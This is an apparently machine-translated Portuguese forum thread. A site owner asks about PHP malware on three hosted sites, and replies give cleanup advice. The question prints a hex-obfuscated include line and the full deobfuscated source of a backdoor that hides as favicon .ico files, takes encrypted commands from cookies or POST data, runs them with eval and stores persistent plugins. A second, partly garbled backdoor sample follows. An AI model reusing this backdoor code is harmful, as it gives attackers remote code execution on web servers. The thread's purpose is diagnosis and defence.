it-swarm.dev

Meu site está infectado com ofuscado PHP malware - o que está fazendo + como posso me livrar dele?

Eu tenho três sites todos hospedados no mesmo servidor da web. Recentemente, eu estava trabalhando em um dos sites e notei que, há cerca de um mês, vários arquivos foram alterados. Especificamente, todas as instâncias de index.html foram renomeadas para index.html.bak.bak e index.php foram colocadas em seus lugares. Os arquivos index.php são relativamente simples; eles incluem um arquivo oculto em algum lugar no sistema de arquivos de cada site (aparentemente uma pasta aleatória) que foi ofuscado com a codificação hexadecimal JS e, em seguida, ecoa o index.html original:

<?php
/*2d4f2*/

@include "\x2fm\x6et\x2fs\x74o\x721\x2dw\x631\x2dd\x66w\x31/\x338\x304\x323\x2f4\x365\x380\x39/\x77w\x77.\x77e\x62s\x69t\x65.\x63o\x6d/\x77e\x62/\x63o\x6et\x65n\x74/\x77p\x2di\x6ec\x6cu\x64e\x73/\x6as\x2fs\x77f\x75p\x6co\x61d\x2ff\x61v\x69c\x6fn\x5f2\x391\x337\x32.\x69c\x6f";

/*2d4f2*/


echo file_get_contents('index.html.bak.bak');

O arquivo incluído aqui foi

/mnt/*snip*/www.website.com/web/content/wp-includes/js/swfupload/favicon_291372.ico

Em outro domínio, foi

/mnt/*snip*/www.website2.com/web/content/wiki/maintenance/hiphop/favicon_249bed.ico

Como você provavelmente poderia imaginar, eles não são realmente favicons - são apenas arquivos php com uma extensão diferente. Agora, eu não tenho idéia do que esses arquivos fazem (é por isso que estou perguntando aqui). Eles foram totalmente ofuscados, mas https://malwaredecoder.com/ parece ser capaz de quebrá-lo. Os resultados podem ser encontrados aqui, mas eu colei o código desmuscado abaixo:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
    define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

    $data = NULL;
    $data_key = NULL;

    $GLOBALS['cs_auth'] = '8debdf89-dfb8-4968-8667-04713f279109';
    global $cs_auth;


    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($n, $d, $flag = False)
        {
            $mode = $flag == 8 ? 'a' : 'w';
            $f = @fopen($n, $mode);
            if ($f === False)
            {
                return 0;
            }
            else
            {
                if (is_array($d)) $d = implode($d);
                $bytes_written = fwrite($f, $d);
                fclose($f);
                return $bytes_written;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($filename)
        {
            $fhandle = fopen($filename, "r");
            $fcontents = fread($fhandle, filesize($filename));
            fclose($fhandle);

            return $fcontents;
        }
    }
    function cs_get_current_filepath()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function cs_decrypt_phase($data, $key)
    {
        $out_data = "";

        for ($i=0; $i<strlen($data);)
        {
            for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
            {
                $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
            }
        }

        return $out_data;
    }

    function cs_decrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
    }
    function cs_encrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
    }

    function cs_get_plugin_config()
    {
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config = substr($self_content, $config_pos + 32);
            $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
        }
        else
        {
            $plugins = Array();
        }

        return $plugins;
    }

    function cs_set_plugin_config($plugins)
    {
        $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config_old = substr($self_content, $config_pos + 32);
            $self_content = str_replace($config_old, $config_enc, $self_content);

        }
        else
        {
            $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
        }

        @file_put_contents(cs_get_current_filepath(), $self_content);
    }

    function cs_plugin_add($name, $base64_data)
    {
        $plugins = cs_get_plugin_config();

        $plugins[$name] = base64_decode($base64_data);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_rem($name)
    {
        $plugins = cs_get_plugin_config();

        unset($plugins[$name]);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_load($name=NULL)
    {
        foreach (cs_get_plugin_config() as $pname=>$pcontent)
        {
            if ($name)
            {
                if (strcmp($name, $pname) == 0)
                {
                    eval($pcontent);
                    break;
                }
            }
            else
            {
                eval($pcontent);
            }
        }
    }

    foreach ($_COOKIE as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }

    if (!$data)
    {
        foreach ($_POST as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    }

    $data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

    if (isset($data['ak']) && $cs_auth==$data['ak'])
    {
        if ($data['a'] == 'i')
        {
            $i = Array(
                'pv' => @phpversion(),
                'sv' => '2.0-1',
                'ak' => $data['ak'],
            );
            echo @serialize($i);
            exit;
        }
        elseif ($data['a'] == 'e')
        {
            eval($data['d']);
        }
        elseif ($data['a'] == 'plugin')
        {
            if($data['sa'] == 'add')
            {
                cs_plugin_add($data['p'], $data['d']);
            }
            elseif($data['sa'] == 'rem')
            {
                cs_plugin_rem($data['p']);
            }
        }
        echo $data['ak'];

    }

    cs_plugin_load();
}

Além disso, existe um arquivo chamado init5.php em uma das pastas de conteúdo do site, que depois de desobstruir o máximo possível, torna-se:

$GLOBALS['893\Gt3$3'] = $_POST;
$GLOBALS['S9]<\<\$'] = $_COOKIE;
@>P>r"$,('$66N6rTNj', NULL);
@>P>r"$,('TNjr$66N6"', 0);
@>P>r"$,('k3'r$'$9#,>NPr,>k$', 0);
@"$,r,>k$rT>k>,(0);
$w6f96424 = NULL;
$s02c4f38 = NULL;
global $y10a790;
function a31f0($w6f96424, $afb8d)
{
    $p98c0e = "";

    for ($r035e7=0; $r035e7<",6T$P($w6f96424);)
    {
        for ($l545=0; $l545<",6T$P($afb8d) && $r035e7<",6T$P($w6f96424); $l545++, $r035e7++)
        {
            $p98c0e .= 9)6(N6`($w6f96424[$r035e7]) ^ N6`($afb8d[$l545]));
        }
    }

    return $p98c0e;
}

function la30956($w6f96424, $afb8d)
{
    global $y10a790;

    return 3\x9<(3\x9<($w6f96424, $y10a790), $afb8d);
}

foreach ($GLOBALS['S9]<\<\$'] as $afb8d=>$ua56c9d)
{
    $w6f96424 = $ua56c9d;
    $s02c4f38 = $afb8d;
}

if (!$w6f96424)
{
    foreach ($GLOBALS['893\Gt3$3'] as $afb8d=>$ua56c9d)
    {
        $w6f96424 = $ua56c9d;
        $s02c4f38 = $afb8d;
    }
}

$w6f96424 = @#P"$6>3T>a$(T3\<]tO(R3"$OIr`$9N`$($w6f96424), $s02c4f38));
if (isset($w6f96424['38']) && $y10a790==$w6f96424['38'])
{
    if ($w6f96424['3'] == '>')
    {
        $r035e7 = Array(
            '@=' => @@)@=$6">NP(),
            '"=' => 'x%<Fx',
        );
        echo @"$6>3T>a$($r035e7);
    }
    elseif ($w6f96424['3'] == '$')
    {
        eval($w6f96424['`']);
    }

}

Existem mais arquivos PHP ofuscados quanto mais eu olho, o que é meio assustador. Há tons deles. Até mesmo os arquivos index.php do Wordpress parecem ter sido infectados; os @includes ofuscados foram adicionados a eles. Além disso, em um dos sites, há um arquivo intitulado 'ssh' que parece ser algum tipo de arquivo binário (talvez o programa 'ssh' em si?)

Alguém sabe o que são ou fazem? Como eles entraram no meu servidor? Como posso me livrar deles e garantir que eles nunca voltem?

Alguma outra informação: meu webhost é Rindo Lula; Não tenho acesso ao Shell. O servidor executa o Linux, o Apache 2.4 e o PHP 5.6.29. Obrigado!

8
Wilson Biggs

Você não pode confiar em nada no servidor neste momento.

  • Reinstale o sistema operacional

  • Reinstale as cópias boas conhecidas do seu código com uma versão limpa ou em bom estado do banco de dados.

Neste ponto, não adianta apenas substituir/deletar arquivos "ruins", porque o invasor poderia ter feito absolutamente qualquer coisa, desde "nada" até a substituição de software em nível de sistema por versões hackeadas que farão qualquer coisa desejada. Apenas por exemplo, em um ponto alguém escreveu malware em um compilador então mesmo se o executável fosse reconstruído, o maware ainda estava lá, também impedia que o depurador o detectasse.

Existem vários limpadores disponíveis, mas eles dependem de saber/detectar/desfazer tudo que o atacante poderia ter feito, o que é impossível.

Se você tivesse bons backups diários, poderia fazer uma diff entre "o que você tem" e "o que você tinha antes" e ver o que mudou, mas você ainda precisaria examinar cuidadosamente ou restaurar seu banco de dados, pois muitos ataques envolvem alterações de dados não código.

2
Terry Carmen

Eu tive esse mesmo malware. Existem 10 a 15 arquivos que o malware adiciona ou modifica. Eu usei o plug-in Quttera WordPress (gratuito) para encontrar os arquivos. A maioria dos arquivos pode ser apagada (tenha cuidado, o Quttera é mais do que realmente infectado), mas alguns arquivos do WordPress foram modificados e devem ser substituídos. 

1
Zach

Eu tive o mesmo problema. Isso é causado por pedidos mal-intencionados de postagens http. Aqui está um bom artigo sobre como pará-lo: 

O seguinte em um arquivo .htaccess irá parar todos os pedidos de postagem. https://perishablepress.com/protect-post-requests/

# deny all POST requests
<IfModule mod_rewrite.c>
        RewriteCond %{REQUEST_METHOD} POST
        RewriteRule .* - [F,L]
</IfModule>
0
summars

Tive que escrever um script PHP para varrer toda a árvore do servidor, listando todos os caminhos do diretório, e um para varrer esses caminhos em busca de infecções. Pode apenas parcialmente limpo, mas fornece ajuda muito necessária com a limpeza de pedestres.

NOTA:
É mal escrito e provavelmente deve ser removido após o uso. Mas isso me ajudou.

Uma cópia zipada é aqui .
Sem garantias; descompacte-o e dê uma olhada no que você colocou no seu servidor, antes de enviá-lo!

Atualização: Agora limpa mais (não todos!). Acompanhamento com a limpeza manual (veja abaixo).

0
user2528858

Isso não é um hack que você precisa para acabar com seus sites e servidores. É apenas um hack de php. Livrar-se de todos os arquivos maliciosos e código PHP e você será bom. Aqui está como eu fiz no drupal. http://rankinstudio.com/Drupal_ico_index_hack

0
Rankinstudio